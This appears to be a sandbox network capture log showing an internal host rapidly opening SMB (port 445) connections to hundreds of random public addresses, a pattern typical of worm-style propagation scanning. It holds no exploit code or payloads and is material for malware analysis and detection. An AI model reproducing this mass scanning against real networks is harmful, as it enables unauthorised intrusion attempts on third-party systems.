Jul 20, 2022 19:33:28.354459047 CEST	57702	445	192.168.2.7	221.243.33.113
Jul 20, 2022 19:33:28.354644060 CEST	57707	445	192.168.2.7	36.134.179.155
Jul 20, 2022 19:33:28.354707003 CEST	57708	445	192.168.2.7	172.93.131.3
Jul 20, 2022 19:33:28.354774952 CEST	57709	445	192.168.2.7	151.177.133.154
Jul 20, 2022 19:33:28.354948997 CEST	57713	445	192.168.2.7	141.231.204.21
Jul 20, 2022 19:33:28.472754955 CEST	445	57708	172.93.131.3	192.168.2.7
Jul 20, 2022 19:33:28.532375097 CEST	57718	445	192.168.2.7	51.158.189.94
Jul 20, 2022 19:33:28.844729900 CEST	57721	445	192.168.2.7	131.153.221.72
Jul 20, 2022 19:33:28.845206022 CEST	57722	445	192.168.2.7	121.3.139.38
Jul 20, 2022 19:33:29.156156063 CEST	57708	445	192.168.2.7	172.93.131.3
Jul 20, 2022 19:33:29.256850958 CEST	57731	445	192.168.2.7	221.101.236.238
Jul 20, 2022 19:33:29.275638103 CEST	445	57708	172.93.131.3	192.168.2.7
Jul 20, 2022 19:33:29.422766924 CEST	57734	445	192.168.2.7	52.74.106.55
Jul 20, 2022 19:33:29.423373938 CEST	57735	445	192.168.2.7	136.213.1.76
Jul 20, 2022 19:33:29.424272060 CEST	57736	445	192.168.2.7	143.141.206.66
Jul 20, 2022 19:33:29.433248043 CEST	57739	445	192.168.2.7	187.84.1.240
Jul 20, 2022 19:33:29.433423042 CEST	57738	445	192.168.2.7	112.67.18.52
Jul 20, 2022 19:33:29.433423042 CEST	57741	445	192.168.2.7	126.90.153.47
Jul 20, 2022 19:33:29.433587074 CEST	57744	445	192.168.2.7	218.45.37.123
Jul 20, 2022 19:33:29.433765888 CEST	57748	445	192.168.2.7	184.196.240.102
Jul 20, 2022 19:33:29.433907986 CEST	57751	445	192.168.2.7	57.244.113.64
Jul 20, 2022 19:33:29.434350014 CEST	57753	445	192.168.2.7	41.153.143.22
Jul 20, 2022 19:33:29.434498072 CEST	57756	445	192.168.2.7	196.28.177.156
Jul 20, 2022 19:33:29.462816000 CEST	57761	445	192.168.2.7	159.134.239.125
Jul 20, 2022 19:33:29.462822914 CEST	57763	445	192.168.2.7	134.203.236.163
Jul 20, 2022 19:33:29.463543892 CEST	57766	445	192.168.2.7	158.4.29.147
Jul 20, 2022 19:33:29.463622093 CEST	57767	445	192.168.2.7	164.136.194.13
Jul 20, 2022 19:33:29.463824987 CEST	57772	445	192.168.2.7	186.132.229.85
Jul 20, 2022 19:33:29.463927031 CEST	57774	445	192.168.2.7	111.60.216.63
Jul 20, 2022 19:33:29.464129925 CEST	57776	445	192.168.2.7	156.101.10.252
Jul 20, 2022 19:33:29.464314938 CEST	57783	445	192.168.2.7	165.199.121.90
Jul 20, 2022 19:33:29.470160007 CEST	57785	445	192.168.2.7	78.97.51.167
Jul 20, 2022 19:33:29.473436117 CEST	57790	445	192.168.2.7	197.90.11.194
Jul 20, 2022 19:33:29.476644993 CEST	57796	445	192.168.2.7	197.235.188.125
Jul 20, 2022 19:33:29.477380037 CEST	57797	445	192.168.2.7	116.203.98.215
Jul 20, 2022 19:33:29.479247093 CEST	57801	445	192.168.2.7	206.179.104.132
Jul 20, 2022 19:33:29.483362913 CEST	57808	445	192.168.2.7	29.60.223.36
Jul 20, 2022 19:33:29.483838081 CEST	57809	445	192.168.2.7	222.99.13.195
Jul 20, 2022 19:33:29.501060963 CEST	445	57797	116.203.98.215	192.168.2.7
Jul 20, 2022 19:33:29.615750074 CEST	57811	445	192.168.2.7	51.158.189.95
Jul 20, 2022 19:33:29.923863888 CEST	57813	445	192.168.2.7	121.3.139.39
Jul 20, 2022 19:33:29.923970938 CEST	57814	445	192.168.2.7	131.153.221.73
Jul 20, 2022 19:33:30.078120947 CEST	57797	445	192.168.2.7	116.203.98.215
Jul 20, 2022 19:33:30.099277020 CEST	445	57797	116.203.98.215	192.168.2.7
Jul 20, 2022 19:33:30.367954969 CEST	57824	445	192.168.2.7	94.146.235.175
Jul 20, 2022 19:33:30.560925961 CEST	57827	445	192.168.2.7	184.104.141.219
Jul 20, 2022 19:33:30.570938110 CEST	57830	445	192.168.2.7	80.57.29.49
Jul 20, 2022 19:33:30.571023941 CEST	57832	445	192.168.2.7	223.39.2.218
Jul 20, 2022 19:33:30.571053028 CEST	57833	445	192.168.2.7	37.186.211.166
Jul 20, 2022 19:33:30.571512938 CEST	57836	445	192.168.2.7	123.87.130.16
Jul 20, 2022 19:33:30.571639061 CEST	57837	445	192.168.2.7	98.196.211.193
Jul 20, 2022 19:33:30.571670055 CEST	57835	445	192.168.2.7	214.26.188.183
Jul 20, 2022 19:33:30.572222948 CEST	57838	445	192.168.2.7	205.165.157.243
Jul 20, 2022 19:33:30.572355032 CEST	57842	445	192.168.2.7	186.81.95.52
Jul 20, 2022 19:33:30.572392941 CEST	57843	445	192.168.2.7	152.72.138.147
Jul 20, 2022 19:33:30.572571039 CEST	57846	445	192.168.2.7	123.204.130.167
Jul 20, 2022 19:33:30.608895063 CEST	57851	445	192.168.2.7	44.66.115.226
Jul 20, 2022 19:33:30.609191895 CEST	57856	445	192.168.2.7	54.239.162.69
Jul 20, 2022 19:33:30.611872911 CEST	57861	445	192.168.2.7	114.93.246.135
Jul 20, 2022 19:33:30.611949921 CEST	57862	445	192.168.2.7	130.77.190.42
Jul 20, 2022 19:33:30.612176895 CEST	57868	445	192.168.2.7	190.96.149.8
Jul 20, 2022 19:33:30.612238884 CEST	57869	445	192.168.2.7	64.91.241.48
Jul 20, 2022 19:33:30.612375975 CEST	57872	445	192.168.2.7	223.162.160.219
Jul 20, 2022 19:33:30.612462997 CEST	57873	445	192.168.2.7	68.77.167.2
Jul 20, 2022 19:33:30.618617058 CEST	57878	445	192.168.2.7	181.49.128.113
Jul 20, 2022 19:33:30.618921041 CEST	57879	445	192.168.2.7	166.3.1.167
Jul 20, 2022 19:33:30.619323015 CEST	57886	445	192.168.2.7	38.206.230.47
Jul 20, 2022 19:33:30.619532108 CEST	57890	445	192.168.2.7	16.14.6.47
Jul 20, 2022 19:33:30.619637966 CEST	57893	445	192.168.2.7	93.230.25.112
Jul 20, 2022 19:33:30.619721889 CEST	57894	445	192.168.2.7	53.146.145.204
Jul 20, 2022 19:33:30.620064020 CEST	57902	445	192.168.2.7	31.218.166.78
Jul 20, 2022 19:33:30.688585043 CEST	57904	445	192.168.2.7	51.158.189.96
Jul 20, 2022 19:33:30.751101017 CEST	57905	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:30.769005060 CEST	445	57905	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:30.769208908 CEST	57905	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:30.771975994 CEST	57905	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:30.788602114 CEST	445	57905	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:30.788639069 CEST	445	57905	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:30.788656950 CEST	445	57905	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:30.788737059 CEST	57905	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:30.788836002 CEST	57905	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:30.789257050 CEST	57905	445	192.168.2.7	45.60.207.19
Jul 20, 2022 19:33:30.789340973 CEST	445	57878	181.49.128.113	192.168.2.7
Jul 20, 2022 19:33:30.806117058 CEST	445	57905	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:30.806139946 CEST	445	57905	45.60.207.19	192.168.2.7
Jul 20, 2022 19:33:30.874842882 CEST	57906	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.891608953 CEST	445	57906	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.891735077 CEST	57906	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.891902924 CEST	57906	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.897773981 CEST	57908	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.908442974 CEST	445	57906	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.908560991 CEST	57906	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.914263010 CEST	445	57908	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.914475918 CEST	57908	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.914721966 CEST	57908	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.931082010 CEST	445	57908	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.931121111 CEST	445	57908	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.931135893 CEST	445	57908	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.931255102 CEST	57908	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.931360006 CEST	57908	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.931674004 CEST	57908	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:30.949321032 CEST	445	57908	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:30.949343920 CEST	445	57908	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:31.010052919 CEST	57909	445	192.168.2.7	131.153.221.74
Jul 20, 2022 19:33:31.010817051 CEST	57910	445	192.168.2.7	121.3.139.40
Jul 20, 2022 19:33:31.313477039 CEST	57914	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:31.343919992 CEST	57878	445	192.168.2.7	181.49.128.113
Jul 20, 2022 19:33:31.371212006 CEST	445	57914	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:31.371357918 CEST	57914	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:31.371520996 CEST	57914	445	192.168.2.7	213.142.151.98
Jul 20, 2022 19:33:31.429097891 CEST	445	57914	213.142.151.98	192.168.2.7
Jul 20, 2022 19:33:31.474591017 CEST	57921	445	192.168.2.7	8.203.191.24
Jul 20, 2022 19:33:31.485646963 CEST	57925	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:31.514760017 CEST	445	57878	181.49.128.113	192.168.2.7
Jul 20, 2022 19:33:31.537484884 CEST	445	57925	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:31.537664890 CEST	57925	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:31.537873983 CEST	57925	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:31.540832996 CEST	57926	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:31.589802980 CEST	445	57925	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:31.591644049 CEST	445	57925	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:31.598575115 CEST	445	57926	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:31.598685026 CEST	57926	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:31.598964930 CEST	57926	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:31.657706022 CEST	57927	445	192.168.2.7	202.110.216.11
Jul 20, 2022 19:33:31.657876015 CEST	445	57926	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:31.673335075 CEST	57929	445	192.168.2.7	182.156.104.190
Jul 20, 2022 19:33:31.674529076 CEST	57931	445	192.168.2.7	44.212.78.164
Jul 20, 2022 19:33:31.675149918 CEST	57932	445	192.168.2.7	174.157.116.29
Jul 20, 2022 19:33:31.676495075 CEST	57934	445	192.168.2.7	192.31.245.138
Jul 20, 2022 19:33:31.677386999 CEST	57935	445	192.168.2.7	73.75.168.56
Jul 20, 2022 19:33:31.678139925 CEST	57936	445	192.168.2.7	82.69.153.97
Jul 20, 2022 19:33:31.679117918 CEST	57937	445	192.168.2.7	126.198.128.71
Jul 20, 2022 19:33:31.681833982 CEST	57941	445	192.168.2.7	24.224.28.202
Jul 20, 2022 19:33:31.682581902 CEST	57942	445	192.168.2.7	44.200.109.100
Jul 20, 2022 19:33:31.685194016 CEST	57946	445	192.168.2.7	123.28.109.186
Jul 20, 2022 19:33:31.770087004 CEST	57953	445	192.168.2.7	160.3.123.114
Jul 20, 2022 19:33:31.770154953 CEST	57955	445	192.168.2.7	206.89.193.190
Jul 20, 2022 19:33:31.770342112 CEST	57960	445	192.168.2.7	16.136.244.90
Jul 20, 2022 19:33:31.770427942 CEST	57961	445	192.168.2.7	159.104.236.229
Jul 20, 2022 19:33:31.770597935 CEST	57966	445	192.168.2.7	206.216.203.40
Jul 20, 2022 19:33:31.770725965 CEST	57968	445	192.168.2.7	4.208.170.10
Jul 20, 2022 19:33:31.770850897 CEST	57971	445	192.168.2.7	186.228.232.146
Jul 20, 2022 19:33:31.770864964 CEST	57972	445	192.168.2.7	185.139.246.223
Jul 20, 2022 19:33:31.771090984 CEST	57977	445	192.168.2.7	181.93.96.27
Jul 20, 2022 19:33:31.771148920 CEST	57978	445	192.168.2.7	210.171.170.195
Jul 20, 2022 19:33:31.771353960 CEST	57983	445	192.168.2.7	143.150.63.138
Jul 20, 2022 19:33:31.771634102 CEST	57989	445	192.168.2.7	160.128.166.129
Jul 20, 2022 19:33:31.771759033 CEST	57992	445	192.168.2.7	95.89.121.136
Jul 20, 2022 19:33:31.771771908 CEST	57993	445	192.168.2.7	154.229.86.198
Jul 20, 2022 19:33:31.772109985 CEST	58000	445	192.168.2.7	62.208.122.161
Jul 20, 2022 19:33:31.777627945 CEST	58004	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.801690102 CEST	445	58004	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:31.801821947 CEST	58004	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.801878929 CEST	58004	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.805465937 CEST	58005	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.826914072 CEST	445	58004	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:31.827052116 CEST	58004	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.827666998 CEST	445	58005	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:31.827785015 CEST	58005	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.828051090 CEST	58005	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:31.850205898 CEST	445	58005	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:31.850230932 CEST	445	58005	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:32.081701040 CEST	445	57977	181.93.96.27	192.168.2.7
Jul 20, 2022 19:33:32.084440947 CEST	58007	445	192.168.2.7	131.153.221.75
Jul 20, 2022 19:33:32.085220098 CEST	58008	445	192.168.2.7	121.3.139.41
Jul 20, 2022 19:33:32.594002962 CEST	57977	445	192.168.2.7	181.93.96.27
Jul 20, 2022 19:33:32.601519108 CEST	58021	445	192.168.2.7	28.188.111.10
Jul 20, 2022 19:33:32.782367945 CEST	58022	445	192.168.2.7	203.13.20.10
Jul 20, 2022 19:33:32.783370018 CEST	58023	445	192.168.2.7	131.251.75.11
Jul 20, 2022 19:33:32.786575079 CEST	58027	445	192.168.2.7	8.78.76.67
Jul 20, 2022 19:33:32.788059950 CEST	58029	445	192.168.2.7	135.159.191.162
Jul 20, 2022 19:33:32.789566994 CEST	58031	445	192.168.2.7	9.28.130.152
Jul 20, 2022 19:33:32.791047096 CEST	58033	445	192.168.2.7	209.173.253.24
Jul 20, 2022 19:33:32.791848898 CEST	58034	445	192.168.2.7	185.36.128.95
Jul 20, 2022 19:33:32.795320034 CEST	58036	445	192.168.2.7	48.133.226.120
Jul 20, 2022 19:33:32.796884060 CEST	58037	445	192.168.2.7	214.52.223.217
Jul 20, 2022 19:33:32.796948910 CEST	58038	445	192.168.2.7	42.73.194.152
Jul 20, 2022 19:33:32.797494888 CEST	58039	445	192.168.2.7	218.147.119.8
Jul 20, 2022 19:33:32.904678106 CEST	445	57977	181.93.96.27	192.168.2.7
Jul 20, 2022 19:33:32.915539026 CEST	58050	445	192.168.2.7	13.117.228.189
Jul 20, 2022 19:33:32.915951014 CEST	58057	445	192.168.2.7	184.202.95.194
Jul 20, 2022 19:33:32.915952921 CEST	58048	445	192.168.2.7	77.193.219.167
Jul 20, 2022 19:33:32.915956020 CEST	58054	445	192.168.2.7	34.229.239.188
Jul 20, 2022 19:33:32.915988922 CEST	58059	445	192.168.2.7	194.182.167.193
Jul 20, 2022 19:33:32.916151047 CEST	58062	445	192.168.2.7	7.225.193.48
Jul 20, 2022 19:33:32.916254997 CEST	58064	445	192.168.2.7	98.35.146.81
Jul 20, 2022 19:33:32.916337967 CEST	58065	445	192.168.2.7	190.222.5.44
Jul 20, 2022 19:33:32.916558027 CEST	58071	445	192.168.2.7	151.84.210.186
Jul 20, 2022 19:33:32.916590929 CEST	58070	445	192.168.2.7	65.208.173.160
Jul 20, 2022 19:33:32.916866064 CEST	58078	445	192.168.2.7	34.207.17.30
Jul 20, 2022 19:33:32.917125940 CEST	58085	445	192.168.2.7	28.70.153.14
Jul 20, 2022 19:33:32.917202950 CEST	58087	445	192.168.2.7	196.39.89.226
Jul 20, 2022 19:33:32.917232037 CEST	58086	445	192.168.2.7	30.16.153.57
Jul 20, 2022 19:33:32.917749882 CEST	58098	445	192.168.2.7	220.38.155.113
Jul 20, 2022 19:33:33.143217087 CEST	58100	445	192.168.2.7	121.3.139.42
Jul 20, 2022 19:33:33.144099951 CEST	58101	445	192.168.2.7	131.153.221.76
Jul 20, 2022 19:33:33.723933935 CEST	58115	445	192.168.2.7	83.24.21.121
Jul 20, 2022 19:33:33.949968100 CEST	58116	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:33.950448990 CEST	58117	445	192.168.2.7	180.145.99.85
Jul 20, 2022 19:33:33.950664043 CEST	58122	445	192.168.2.7	187.83.108.75
Jul 20, 2022 19:33:33.950690031 CEST	58123	445	192.168.2.7	15.71.65.145
Jul 20, 2022 19:33:33.950778008 CEST	58124	445	192.168.2.7	185.184.9.113
Jul 20, 2022 19:33:33.950813055 CEST	58125	445	192.168.2.7	15.67.166.154
Jul 20, 2022 19:33:33.950959921 CEST	58126	445	192.168.2.7	82.109.147.34
Jul 20, 2022 19:33:33.951090097 CEST	58130	445	192.168.2.7	88.14.61.66
Jul 20, 2022 19:33:33.951117039 CEST	58131	445	192.168.2.7	58.19.155.115
Jul 20, 2022 19:33:33.951282024 CEST	58133	445	192.168.2.7	65.176.80.139
Jul 20, 2022 19:33:33.951406956 CEST	58135	445	192.168.2.7	149.51.178.39
Jul 20, 2022 19:33:33.952428102 CEST	58136	445	192.168.2.7	165.41.214.187
Jul 20, 2022 19:33:33.969553947 CEST	445	58116	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:33.969661951 CEST	58116	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:33.969844103 CEST	58116	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:33.988634109 CEST	445	58116	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:33.988660097 CEST	445	58116	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:33.988676071 CEST	445	58116	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:33.988744020 CEST	58116	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:33.988893986 CEST	58116	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:33.989203930 CEST	58116	445	192.168.2.7	45.60.207.20
Jul 20, 2022 19:33:34.008645058 CEST	445	58116	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:34.008670092 CEST	445	58116	45.60.207.20	192.168.2.7
Jul 20, 2022 19:33:34.052052021 CEST	445	58135	149.51.178.39	192.168.2.7
Jul 20, 2022 19:33:34.101758003 CEST	58147	445	192.168.2.7	219.165.77.136
Jul 20, 2022 19:33:34.102843046 CEST	58151	445	192.168.2.7	190.220.87.200
Jul 20, 2022 19:33:34.103018999 CEST	58153	445	192.168.2.7	135.24.113.84
Jul 20, 2022 19:33:34.103111982 CEST	58154	445	192.168.2.7	160.128.190.63
Jul 20, 2022 19:33:34.103569031 CEST	58164	445	192.168.2.7	67.38.179.84
Jul 20, 2022 19:33:34.103657007 CEST	58165	445	192.168.2.7	15.18.178.254
Jul 20, 2022 19:33:34.103816032 CEST	58167	445	192.168.2.7	190.11.218.69
Jul 20, 2022 19:33:34.104152918 CEST	58174	445	192.168.2.7	61.138.64.18
Jul 20, 2022 19:33:34.104409933 CEST	58179	445	192.168.2.7	133.145.6.3
Jul 20, 2022 19:33:34.104628086 CEST	58182	445	192.168.2.7	130.212.207.51
Jul 20, 2022 19:33:34.104779005 CEST	58184	445	192.168.2.7	101.21.219.96
Jul 20, 2022 19:33:34.104943991 CEST	58187	445	192.168.2.7	196.46.152.198
Jul 20, 2022 19:33:34.105087042 CEST	58188	445	192.168.2.7	164.254.210.104
Jul 20, 2022 19:33:34.105314016 CEST	58192	445	192.168.2.7	206.57.139.116
Jul 20, 2022 19:33:34.105417013 CEST	58193	445	192.168.2.7	45.175.201.78
Jul 20, 2022 19:33:34.109549046 CEST	58194	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.127892017 CEST	445	58194	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.128046036 CEST	58194	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.139915943 CEST	58194	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.147064924 CEST	58195	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.156711102 CEST	445	58194	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.156840086 CEST	58194	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.165946007 CEST	445	58195	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.166089058 CEST	58195	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.166428089 CEST	58195	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.184556961 CEST	445	58195	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.184582949 CEST	445	58195	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.184597015 CEST	445	58195	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.184679031 CEST	58195	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.184813976 CEST	58195	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.185053110 CEST	58195	445	192.168.2.7	45.60.207.21
Jul 20, 2022 19:33:34.202588081 CEST	445	58195	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.202617884 CEST	445	58195	45.60.207.21	192.168.2.7
Jul 20, 2022 19:33:34.220251083 CEST	58197	445	192.168.2.7	131.153.221.77
Jul 20, 2022 19:33:34.221138954 CEST	58198	445	192.168.2.7	121.3.139.43
Jul 20, 2022 19:33:34.287990093 CEST	445	58187	196.46.152.198	192.168.2.7
Jul 20, 2022 19:33:34.562920094 CEST	58135	445	192.168.2.7	149.51.178.39
Jul 20, 2022 19:33:34.664622068 CEST	445	58135	149.51.178.39	192.168.2.7
Jul 20, 2022 19:33:34.673146963 CEST	58203	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:34.726223946 CEST	445	58203	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:34.726430893 CEST	58203	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:34.726655006 CEST	58203	445	192.168.2.7	213.142.151.99
Jul 20, 2022 19:33:34.779541969 CEST	445	58203	213.142.151.99	192.168.2.7
Jul 20, 2022 19:33:34.797275066 CEST	58187	445	192.168.2.7	196.46.152.198
Jul 20, 2022 19:33:34.849735975 CEST	58213	445	192.168.2.7	210.47.157.88
Jul 20, 2022 19:33:34.850647926 CEST	58214	445	192.168.2.7	213.142.151.100
Jul 20, 2022 19:33:34.860685110 CEST	58215	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:34.883213997 CEST	445	58215	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:34.883502960 CEST	58215	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:34.883789062 CEST	58215	445	192.168.2.7	51.158.189.97
Jul 20, 2022 19:33:34.906837940 CEST	445	58215	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:34.906866074 CEST	445	58215	51.158.189.97	192.168.2.7
Jul 20, 2022 19:33:34.970006943 CEST	58216	445	192.168.2.7	51.158.189.98
Jul 20, 2022 19:33:34.979840040 CEST	445	58187	196.46.152.198	192.168.2.7
Jul 20, 2022 19:33:35.064400911 CEST	58217	445	192.168.2.7	202.42.43.146
Jul 20, 2022 19:33:35.066328049 CEST	58219	445	192.168.2.7	133.40.149.105
Jul 20, 2022 19:33:35.067851067 CEST	58221	445	192.168.2.7	196.90.3.211
Jul 20, 2022 19:33:35.068680048 CEST	58222	445	192.168.2.7	221.194.40.78
Jul 20, 2022 19:33:35.070137024 CEST	58224	445	192.168.2.7	131.157.19.2
Jul 20, 2022 19:33:35.072942019 CEST	58228	445	192.168.2.7	61.236.13.13
Jul 20, 2022 19:33:35.074098110 CEST	58229	445	192.168.2.7	186.106.47.207
Jul 20, 2022 19:33:35.074923992 CEST	58230	445	192.168.2.7	140.253.158.239
Jul 20, 2022 19:33:35.075666904 CEST	58231	445	192.168.2.7	135.129.64.232
Jul 20, 2022 19:33:35.077099085 CEST	58233	445	192.168.2.7	137.39.186.76
Jul 20, 2022 19:33:35.081185102 CEST	58236	445	192.168.2.7	99.143.172.214
Jul 20, 2022 19:33:35.236918926 CEST	58246	445	192.168.2.7	65.213.112.242
Jul 20, 2022 19:33:35.297518015 CEST	58248	445	192.168.2.7	188.44.112.191
Jul 20, 2022 19:33:35.297651052 CEST	58250	445	192.168.2.7	44.66.9.111
Jul 20, 2022 19:33:35.297871113 CEST	58254	445	192.168.2.7	34.44.84.254
Jul 20, 2022 19:33:35.298080921 CEST	58256	445	192.168.2.7	211.115.64.174
Jul 20, 2022 19:33:35.298285007 CEST	58261	445	192.168.2.7	8.79.6.5
Jul 20, 2022 19:33:35.298665047 CEST	58268	445	192.168.2.7	136.71.169.162
Jul 20, 2022 19:33:35.298692942 CEST	58271	445	192.168.2.7	17.155.160.243
Jul 20, 2022 19:33:35.298799038 CEST	58272	445	192.168.2.7	63.246.75.148
Jul 20, 2022 19:33:35.299237013 CEST	58282	445	192.168.2.7	56.32.61.73
Jul 20, 2022 19:33:35.299324036 CEST	58283	445	192.168.2.7	88.191.246.142
Jul 20, 2022 19:33:35.299448013 CEST	58285	445	192.168.2.7	161.42.12.249
Jul 20, 2022 19:33:35.299555063 CEST	58287	445	192.168.2.7	11.146.63.33
Jul 20, 2022 19:33:35.299920082 CEST	58293	445	192.168.2.7	219.149.80.33
Jul 20, 2022 19:33:35.299966097 CEST	58294	445	192.168.2.7	32.233.194.124
Jul 20, 2022 19:33:35.304609060 CEST	58295	445	192.168.2.7	131.153.221.78
Jul 20, 2022 19:33:35.304693937 CEST	58296	445	192.168.2.7	121.3.139.44
Jul 20, 2022 19:33:35.928026915 CEST	58302	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:35.979320049 CEST	58312	445	192.168.2.7	78.145.228.175
Jul 20, 2022 19:33:35.986562014 CEST	445	58302	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:35.986670017 CEST	58302	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:35.988147974 CEST	58302	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:36.020610094 CEST	58313	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:36.045959949 CEST	445	58302	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:36.045989990 CEST	445	58302	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:36.048413992 CEST	58314	445	192.168.2.7	51.158.189.99
Jul 20, 2022 19:33:36.078500986 CEST	445	58313	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:36.078656912 CEST	58313	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:36.080432892 CEST	58313	445	192.168.2.7	213.142.151.101
Jul 20, 2022 19:33:36.136236906 CEST	445	58313	213.142.151.101	192.168.2.7
Jul 20, 2022 19:33:36.189173937 CEST	58315	445	192.168.2.7	109.194.228.222
Jul 20, 2022 19:33:36.191555977 CEST	58317	445	192.168.2.7	213.89.158.50
Jul 20, 2022 19:33:36.192610979 CEST	58319	445	192.168.2.7	95.17.24.52
Jul 20, 2022 19:33:36.193151951 CEST	58320	445	192.168.2.7	153.205.45.54
Jul 20, 2022 19:33:36.194144964 CEST	58322	445	192.168.2.7	52.32.173.126
Jul 20, 2022 19:33:36.196008921 CEST	58326	445	192.168.2.7	7.121.241.46
Jul 20, 2022 19:33:36.196533918 CEST	58327	445	192.168.2.7	157.57.97.165
Jul 20, 2022 19:33:36.197031021 CEST	58328	445	192.168.2.7	217.4.69.201
Jul 20, 2022 19:33:36.197706938 CEST	58329	445	192.168.2.7	180.21.240.56
Jul 20, 2022 19:33:36.198762894 CEST	58331	445	192.168.2.7	131.246.120.95
Jul 20, 2022 19:33:36.206593037 CEST	58334	445	192.168.2.7	155.26.212.136
Jul 20, 2022 19:33:36.403261900 CEST	58344	445	192.168.2.7	23.178.101.230
Jul 20, 2022 19:33:36.403392076 CEST	58345	445	192.168.2.7	121.3.139.45
Jul 20, 2022 19:33:36.403474092 CEST	58346	445	192.168.2.7	131.153.221.79
Jul 20, 2022 19:33:36.444500923 CEST	445	58221	196.90.3.211	192.168.2.7
Jul 20, 2022 19:33:36.788866043 CEST	58354	445	192.168.2.7	197.145.83.103
Jul 20, 2022 19:33:36.788944960 CEST	58355	445	192.168.2.7	31.220.29.139
